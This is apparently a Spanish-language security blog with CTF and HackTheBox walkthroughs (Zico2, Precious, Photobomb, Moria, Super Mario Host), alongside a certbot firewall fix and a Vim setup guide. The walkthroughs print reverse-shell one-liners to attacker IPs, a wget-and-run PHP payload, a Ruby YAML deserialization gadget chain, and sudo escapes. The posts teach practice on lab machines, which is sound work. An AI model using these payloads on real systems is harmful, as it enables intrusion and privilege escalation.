domingo, 7 de mayo de 2023

CTF Zico2: 1 VM

 

Esta máquina tiene algunas peculiaridades no tan comunes actualmente, pero primero se lanza nmap para el escaneo de puertos.

$ sudo nmap -sV -Pn -A -O -oN zico2 192.168.2.32   
[sudo] contraseña para aka-linux:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 14:15 -05
Nmap scan report for 192.168.2.32
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6860dec22bc616d85b88bee3cca12575 (DSA)
|   2048 50db75ba112f43c9ab14406d7fa1eee3 (RSA)
|_  256 115d55298a77d808b4009ba36193fee5 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33913/udp   status
|   100024  1          39647/tcp   status
|   100024  1          43296/udp6  status
|_  100024  1          43805/tcp6  status
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Como se puede observar, solo hay 3 puertos, el 22, el 80 y el 111. Ahora se revisa el contenido que está dentro del puerto 80.


 Se inspecciona el código fuente y se encuentra este fallo, una vulnerabilidad de path traversal.


Se puede aprovechar pasándole como parámetro en el navegador "../" hasta que se encuentra una ruta, un archivo conocido (passwd). Analizando este archivo se revela que solo existen 2 usuarios root y zico.


Ahora con se escanea los directorios disponibles con gobuster
$ gobuster dir -u http://192.168.2.32:80/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.32:80/img                  (Status: 301) [Size: 310] [--> http://192.168.2.32/img/]
http://192.168.2.32:80/tools                (Status: 200) [Size: 8355]
http://192.168.2.32:80/view                 (Status: 200) [Size: 0]
http://192.168.2.32:80/css                  (Status: 301) [Size: 310] [--> http://192.168.2.32/css/]
http://192.168.2.32:80/index                (Status: 200) [Size: 7970]
http://192.168.2.32:80/js                   (Status: 301) [Size: 309] [--> http://192.168.2.32/js/]
http://192.168.2.32:80/vendor               (Status: 301) [Size: 313] [--> http://192.168.2.32/vendor/]
http://192.168.2.32:80/package              (Status: 200) [Size: 789]
http://192.168.2.32:80/LICENSE              (Status: 200) [Size: 1094]
http://192.168.2.32:80/less                 (Status: 301) [Size: 311] [--> http://192.168.2.32/less/]
http://192.168.2.32:80/server-status        (Status: 403) [Size: 293]
http://192.168.2.32:80/dbadmin              (Status: 301) [Size: 314] [--> http://192.168.2.32/dbadmin/]

Después se comprueban las rutas que se encontraron. En una de las rutas se localiza esta ruta muy interesante.


Era un panel de acceso a una base de datos, asi que se intenta con las contraseñas más comunes.


Se busca un exploit y se encuentra que permita obtener un remote infección de código. 


Se crea una base de datos con extensión .php, luego una tabla con 1 fila, ahora se ingresa una infección de código php en el campo y en valor por defecto (<?php phpinfo()?>). Como la DB muestra cuál es la ruta donde está almacenado, solo es buscarlo con en el navegador. En este caso mostrará la información de php del servidor. 


Para aprovechar la vulnerabilidad se inyecta en la tabla de la DB, un código que llamara a un servidor local para que descargue un revershell y guardarlo en la carpeta tmp.
<?php system("wget http://192.168.2.5:8000/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>


Se configura la revershell con la IP y el puerto por el que va a escuchar la comunicación y se guarda como se escribió en la tabla de la DB.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.2.5';
$port = 4567;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...


Después se habilita la escucha por el puerto establecido.
nc -lvnp 4567

 

Luego se crea el servicio que dará cuando sea llamado la shell y para finalizar se busca en el navegador la ruta de la DB.
python3 -m http.server

 

Vualá ya se tiene una shell al servidor. Para hacerlo mas comodo la navegacion se utiliza una pseudo-terminal.
python -c "import pty; pty.spawn('/bin/bash')"


Ahora se busca al usuario zico en la carpeta home, y se encuentran unas carenciales en dentro de las configuraciones de un crm.


Ahora se intenta iniciar sesión a través del servicio SSH con esas credenciales, una vez con acceso se comprueba que permisos tiene permitido hacer el usuario con SUDO.


Ahora se verifica que se puede bypasear a un usuario con mayores privilegios.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


Ahora, con privilegios mayores, se busca el flag en el directorio de root.


Muchas gracias a @rafasantos5 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Zico2: 1

domingo, 26 de marzo de 2023

HTB Precious

 


Precios es una máquina con sistema operativo linux. Asi que se comienza a escanear los puertos.

$ sudo nmap -sV -Pn -A -O -oN precious 10.10.11.189
Starting Nmap
Nmap scan report for 10.10.11.189
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ahora se agrega precious.htb con la IP al archivo /etc/hosts.

Luego yendo http://precious.htb/, desde el navegador se encuentra con esto.

 

Es un convertidor de páginas a PDF, al revisar el código fuente, algún parámetro extraño en la petición u otras rutas no se encontró nada. Asi con el buen burp suit, en modo interceptor para averiguar algo, pero fue infructuoso. Después se puso a correr un servicio web con Python y pasarla a la aplicación.

$ python3 -m http.server 80 

 

 

Al ingresarla, lista los archivos que esten igual o por debajo de la gerarquia de archivos donde se genero el servicio web.

 

Se descarga el archivo y se comprobo el tipo de archivo y con exiftool para  examinar las propiedades del archivo descargado.
$ exiftool {name}.pdf
...
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

 

Se busca una vulnerabilidad para pdfkit, por suerte se encontró una vulnerabilidad de command injection, asi que se explota esa vulnerabilidad.


 

Al verificar que se puede inyectar código dentro de la petición, se envía una reverse shell y paralelamente se abre un puerto de escucha en una terminal.


$ nc -lvnp 4567                                
listening on [any] 4567 ...

http://10.10.16.11:80/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.11",4567))'`

Seguido identificar el id, se explora algunos directorios.
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Feb 25 15:52 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls config
environment.rb
cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
cd /home
ls
henry
ruby

 

Al llegar a este punto se encontró el flag de usuario, pero no se tiene permiso porque le pertenece a otro usuario.
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 25 15:47 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

cd .bundle
ls
config
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:***************YFH"

 

Después de esto se puede pivotar a la cuenta de henry con el comando "su henry " y su respectiva contraseña, entonces ya se podrá obtener el flag de usuario. Ahora se verifica si este usuario tiene algún permiso con permiso root.

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb


cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

 

Al ver este script se puede vislumbrar un método YAML.load()  es vulnerable a Blind Remote Code Execution through YAML Deserialization. Se reescribe el archivo dependencies.yml que se encuentra en el homespace de henry, para probar que funciona con lo siguiente y posteriormente a ejecutar el programa con "sudo /usr/bin/ruby /opt/update_dependencies.rb".
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve


Ahora es ya comprobado que funciona, es hora de modificarlo un poco, en la sección  "git_set: id", se cambiara por "git_set: chmod u+s /bin/bash", cambiando los permisos a bash. Para finalizar solo es ejecutar el comando "bash -p", verificar los permisos de root y conseguir el flag de root.

sábado, 11 de febrero de 2023

HTB Photobomb


 

Primero se hace le escaneo de puertos.
$ sudo nmap -sV -Pn -A -O -oN photobomb 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 13:09 -05
Nmap scan report for 10.10.11.182
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

 

En este caso se añadira  photobomb.htb a hosts
vi /etc/hosts
ip    photobomb.htb

 

Ahora llendo a  photobomb.htb en el navegador se encuentra esto.


Ahora se escanea los directorios
$ gobuster dir -u http://photobomb.htb/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ===============================================================
http://photobomb.htb/printer              (Status: 401) [Size: 188]
http://photobomb.htb/printers             (Status: 401) [Size: 188]
http://photobomb.htb/printerfriendly      (Status: 401) [Size: 188]
http://photobomb.htb/printer_friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printer_icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printerFriendly      (Status: 401) [Size: 188]

Sin embargo, no se encontro otra ruta. Volviendo a la pagina principal al buscar en el codigo fuente.

Luego dirigirse al sitio donde esta el script.


Al usar el usuario y la contraeña que tenia el script en /printer, se llega a este sitio.

Con la ayuda del buen burpsuit, se intersepto las peticiones para saber detalles de como procesa los parametros de descarga de las imagenes.


En los parametros, se modifico ingresando e ingreso uno extra esperando que hubiera alguna reaccion.
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=jpg;{HERE}&dimensions=3000x2000

Por ello se intenta que haga una peticion a local, creando un servidor http con python.
$ sudo python3 -m http.server 80

Se hace una llamada al servidor recien creado y hay respues, asi que es hora de pasar una revershell como parametro, pero antes tener un puerto escuchando.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.48",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
 

Ahora se tiene acceso al servidor.

$ nc -lvnp 4567                                                                                      
listening on [any] 4567 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.182] 40402
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Encontrar la primer flag es solo regresar un nivel en los archivos.

$ cd ..
cd ..
$ ls
ls
photobomb  user.txt
$ cat user.txt  
cat user.txt
********************************

Lo siguiente es en contrar una forma de escalar privilegios.
$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh


Se puede ver que ese archivo esta corriendo con permisos de root, al inspeccionarlo, se encuntra esto.
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Ahora aprovechando la vulnerabilidad de este programa que esta corriendo con permisos root, se va a pasar una shell que sustituira el programa find, y a su vez, dar una consola con este permiso.
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
$ echo bash > find
echo bash > find
$ chmod +x find
chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id                                                                                                                                                                   
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
*******************************



domingo, 25 de diciembre de 2022

Nginx - Certbot: Solucionando problema de actualizacion de certificado let's encript

 

Hace unos años por esta misma tenía un par de servicios que tenía levantados, hacía ya un tiempo, pero ya me enfrentaba a un nuevo reto que era actualizar los certificados TLS.
 

 Después de encontrarme en serios problemas por no poder solucionarlo, llegue a la conclusión de que era problemas de filtrado en el firewall. La solución es darle acceso temporal al bot de let's encrypt para hacer la renovación y luego cerrarlo.


 Lo primero hay que hacer los cambios en la configuración de perfil para el firewall / ufw en mi caso habilitar el puerto 80 y 443


[letsencrypt]
title=access to the world for Let's Encrypt
description=access to the world for Let's Encrypt
ports=80/tcp|443/tcp


Los perfiles de ufw suele encontrarse en la ruta /etc/ufw/applications.d/ y para habilitarlo con el comando:

ufw allow letsencrypt


Para probarlo, let's encript tiene un mecanismo de prueba, que permite simular la renovación de los certificados.

certbot renewal --dry-run
 

Después de generar la prueba y/o generar el certificado no hay que olvidar, desactivar y en su defecto la regla que se creó. Adicionalmente, se puede crear un script de bash o directamente con crobjob para actualizar los certificados cada X periodo de tiempo



 

 

sábado, 13 de agosto de 2022

CTF Moria: 1 VM


 Esta máquina para los fanaticos de Tolkien es temática basada en LOR, asi que a disfrutarla, comenzando con el escaneo de puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN moria1 192.168.2.23                                                                                      
Starting Nmap
Nmap scan report for 192.168.2.23
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
|   2048 47b5ede3f9ad9688c0f283237fa3d34f (RSA)
|   256 85cda2d8bb85f60f4eae8caa7352ec63 (ECDSA)
|_  256 b1777e08b3a084f8f45df98ed585b934 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Gates of Moria
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

 

En el escaneo se descubrió tres servicios corriendo por el puerto 21,22 y 80. Ahora visitando el navegador se encontró lo siguiente.

 

Después se escaneó los directores y se encontró lo siguiente.
$ gobuster dir -u http://192.168.2.23/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.23/w                    (Status: 301) [Size: 230] [--> http://192.168.2.23/w/]


Al visitar esa ruta se encontró este directorio y siguiéndole lleva a esto.

 

Además de ese mensaje no hay otra pista para continuar, asi que refrescando la página aparece de manera random un mensaje. Asi que con Wireshark, se inicia la captura de paquetes de red.

 

Después de bastantes intentos refrescando la página aparece estos paquetes bastante inusuales, asi que podría ser la siguiente pista, lo único que no era contante era los puertos, y si había un mensaje en él.

 

Ahora se inspecciona el puerto 21, en el mensaje de bienvenida ofrece un nombre de usuario, se comprueba si el mensaje anterior es el servicio FTP.
$ ftp 192.168.2.23
Connected to 192.168.2.23.
220 Welcome Balrog!
Name (192.168.2.23:***): Balrog
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36104|).
150 Here comes the directory listing.
226 Directory send OK.

 

Al listar las carpetas, tiene ciertos permisos asi que se explora algunos directorios y seguidamente listar el contenido en el servicio remoto.
ftp> cd /
250 Directory successfully changed.
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||25583|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||52471|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzvi
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.


Entonces en el navegador se puede visualizar lo siguiente en la ruta /QlVraKW4fbIkXau9zkAPNGzvi


Y en el código fuente esta anotación.
<!--
******
******
******
******
******
******
******
******
MD5(MD5(Password).Salt)
-->


Esto da pie para dar formato a los hash que se encontraron de esta forma, para poder crackearlo con john en un formato apropiado.

 

$john --format=dynamic_6 prisioners
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 256/256 AVX2 8x3])
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
-----------         (Balin)     
-----------          (Nain)     
-----------           (Ori)     
-----------          (Oin)     
-----------           (Dain)     
-----------          (Maeglin)     
-----------         (Thrain)     
-----------            (Telchar)     
-----------         (Fundin)  


Lo siguiente es probar estos usuarios el acceso con SSH con su respectiva contraseña. El acceso se obtiene con el usuario Ori.
$ ssh Ori@192.168.2.23
Ori@192.168.2.23's password:
-bash-4.2$ ls
poem.txt

Al ingresar, se encontró por decirlo de alguna manera, la primera.
-bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by.
PS: Moria will not fall!

 

También se encontró la carpeta .ssh, en ella un host, se hizo reviso al archivo .pub se identificó un usuario que le podría corresponderle.
-bash-4.2$ cat .ssh/id_rsa.pub
ssh-rsa AA.......AldK50EYLIu7MO9tCBGLd04UCzvZhK4b920w2igQcuvh Ori@Prison

 

Se inicia sesión ssh, pero antes de eso se cambian los permisos al archivo. Y no funciono, se probaron con varios usuarios hasta llegar a root.
-bash-4.2$ chmod 600 id_rsa
-bash-4.2$ ssh -i id_rsa root@127.0.01
Last login: Fri Apr 28 18:01:27 2017
[root@Moria ~]# whoami
root

Ahora solo es ir a abrir el archivo flag.txt, se los dejo para que lo puedan abrir y leer otro poema.
[root@Moria ~]# ls
flag.txt


Muchas gracias a @abatchy17 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Moria: 1.1

domingo, 12 de junio de 2022

Instalar y personalizar Vim


 Hace unos días me encontré con una noticia que me dejo impactado.

 


"... Si bien el objetivo de hacer crecer la comunidad de creadores de software se mantiene, hemos decidido retirar Atom para promover nuestro compromiso de llevar el desarrollo de software rápido y confiable a la nube a través de Microsoft Visual Studio Code y GitHub Codespaces.

Hoy, anunciamos que vamos a cerrar Atom y archivaremos todos los proyectos bajo la organización el 15 de diciembre de 2022..."

"... GitHub y nuestra comunidad se han beneficiado enormemente de aquellos que presentaron problemas, crearon extensiones, corrigieron errores y crearon nuevas funciones en Atom. Atom jugó un papel integral en los viajes de muchos desarrolladores", como es mi caso, no estoy realmente interesado en cambiarme a las otras alternativas.

 

Habiendo una discusión sobre como conservar el proyecto por la comunidad (dejo el enlace aquí) y dejar a un lado la marca de atom para darle continuidad, les dejo un enlace a proton es como ellos denominan una nueva imagen del amado 'Editor de texto pirateable' Atom.

 

Mientras se estabiliza la comunidad para obtener de nuevo a atom, les mostraré una alternativa llamada VIM.


Instalación en Windows

Primero se debe descarga desde la página de vim el ejecutable. Al instalar desde el ejecutable se debe tener cuidado en esta sección, te preguntará el tipo de instalación, la opción que elija dependerá del tamaño disponible de su equipo.



Instalación en Linux / BSD



Distribuciones basadas en Debian y Debian


$ sudo apt-get update
$ sudo apt-get install vim-gtk


RedHat y distribuciones basadas en RedHat

$ sudo yum check-update
$ sudo yum install vim-X11

Fedora

$ sudo dnf check-update
$ sudo dnf install vim-X11


Distribuciones basadas en OpenBSD y OpenBSD

$ sudo pkg_add vim-x11

Distribuciones basadas en FreeBSD y FreeBSD

$ sudo pkg install editors/vim



Personalización de Vim


Hay que crear en el home del usuario un archivo .vimrc

$ touch ~/.vimrc

Para la configuración básica de vim, se agrega en este archivo las siguientes líneas:

set nocompatible

filetype on

filetype plugin on

filetype indent on

syntax on


la primera deshabilita la compatibilidad con vi.

La siguiente, habilite la detección de archivos de tipo.

Habilite los complementos y cargue el complemento para el tipo de archivo detectado. 

Cargue un archivo de sangría para el tipo de archivo detectado.

Active el resaltado de sintaxis.

 

Ahora para enumerar las filas a un costado

set number 


En cuanto a la localización del cursor, las siguientes lo resaltan tanto vertical y horizontal

set cursorcolumn
set cursorline


Para mejorar la experiencia de usuario en cuanto el espacio de trabajo

set shiftwidth=4
set tabstop=4
set expandtab
set nobackup
set scrolloff=10
set nowrap
set incsearch
set ignorecase
set smartcase
set showcmd
set showmode
set showmatch
set hlsearch
set history=1000


Establezca el ancho de turno en 4 espacios.
Establezca el ancho de la pestaña en 4 columnas.
Use caracteres de espacio en lugar de tabulaciones.
No guarde archivos de copia de seguridad.
No permita que el cursor se desplace por debajo o por encima de N número de líneas al desplazarse.
No envuelva las líneas. Permita que las líneas largas se extiendan hasta donde llegue la línea.
Mientras busca en un archivo, resalte de forma incremental los caracteres coincidentes a medida que escribe.
Ignora las letras mayúsculas durante la búsqueda.
Anule la opción de ignorar mayúsculas y minúsculas si busca letras mayúsculas. Esto le permitirá buscar específicamente letras mayúsculas.
Muestra el comando parcial que escribes en la última línea de la pantalla.
Muestre el modo en que se encuentra en la última línea.
Mostrar palabras coincidentes durante una búsqueda.
Utilice el resaltado al realizar una búsqueda.
Establezca los comandos para guardar en el historial, el número predeterminado es 20.


Aunque si buscas algo genial este video es un poco antiguo pero lo suficientemente interesante para probar algunas cosas.

 



Créditos: vim, freecodecamp,
 
 
 
 
 

sábado, 14 de mayo de 2022

CTF Super Mario Host: 1 VM

 

Se inicia esta máquina explorando los puertos con nmap.

$ sudo nmap -sV -Pn -A -O -oN smariohost 192.168.2.22
Nmap scan report for 192.168.2.22
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1c97c0063bcb4f6f0f658d3782c42359 (DSA)
|   2048 452dfe04bb98ed00d77b36da8fcf441c (RSA)
|   256 095c259d5c54ae8d90e3449b5ea14de0 (ECDSA)
|_  256 c9d56a3253ab8a43744b85fba0ba4052 (ED25519)
8180/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: nginx
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como no se encontró nada en el navegador en el puerto 8180, se escanea los directorios con el flag de extensión tipo php.

$ gobuster dir -u http://192.168.2.22:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/vhosts               (Status: 200) [Size: 1364]
http://192.168.2.22:8180/server-status        (Status: 403) [Size: 215]

Se encontró un archivo de configuración que contenía una vhost, asi que se procede a añadirlo.

$ sudo vi /etc/hosts
192.168.2.22        mario.supermariohost.local

Ahora sé pasando la url http://mario.supermariohost.local:8180/ se ve un minijuego de Mario.


Se escanea de nuevo las rutas con esta nueva dirección.

$ gobuster dir -u http://mario.supermariohost.local:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/mario.php            (Status: 200) [Size: 7080]
http://mario.supermariohost.local:8180/command.php          (Status: 200) [Size: 231]
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/luigi.php            (Status: 200) [Size: 386]
http://mario.supermariohost.local:8180/server-status        (Status: 403) [Size: 215]

 

Regresando al navegador en la ruta /luigi.php.

Para conveniencia, se hizo una pequeña lista con usuarios permitidos, toad, luigi, peach, yoshi y mario. Con esta lista se creó un diccionario que se va a utilizar para forzar la entrada a servidor por el puerto SSH.

$ john --wordlist=~/Documentos/vulhub/supermarioHost_1/users --rules --stdout >psw

Ya teniendo ambos diccionarios de usuarios y contraseñas, con hidra para hacer una serie de ataques de fuerza bruta.
hydra -s 22 -L /../users -P /../psw -t 16 192.168.2.22 ssh
...
login: luigi   password: luigi1

Con las credenciales se inicia secion.

Con el comando de ayuda se desplegó una serie de comandos que al menos un es vulnerable y dar una shell.
awk 'BEGIN {system("/bin/sh")}'

 

Ahora se verifica la versión de Linux que está corriendo. Se encuentra un mensaje en la que se declara la guerra contra Luigi por el amor de la princesa.
$ cat /proc/version
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
 

Con este exploit, al seguir las instrucciones permitirá obtener un usuario con permisos root.
$ mv 37292 37292.c
$ gcc 37292.c -o exp
$ exp


Ahora con el usuario root, en el directorio /root se encuentra el flag en un .zip. Como no puedo descomprimirlo, se copia en /var/www/html y ahí poder descargarlo desde el navegador en la ruta http://192.168.2.22:8180/flag.zip.

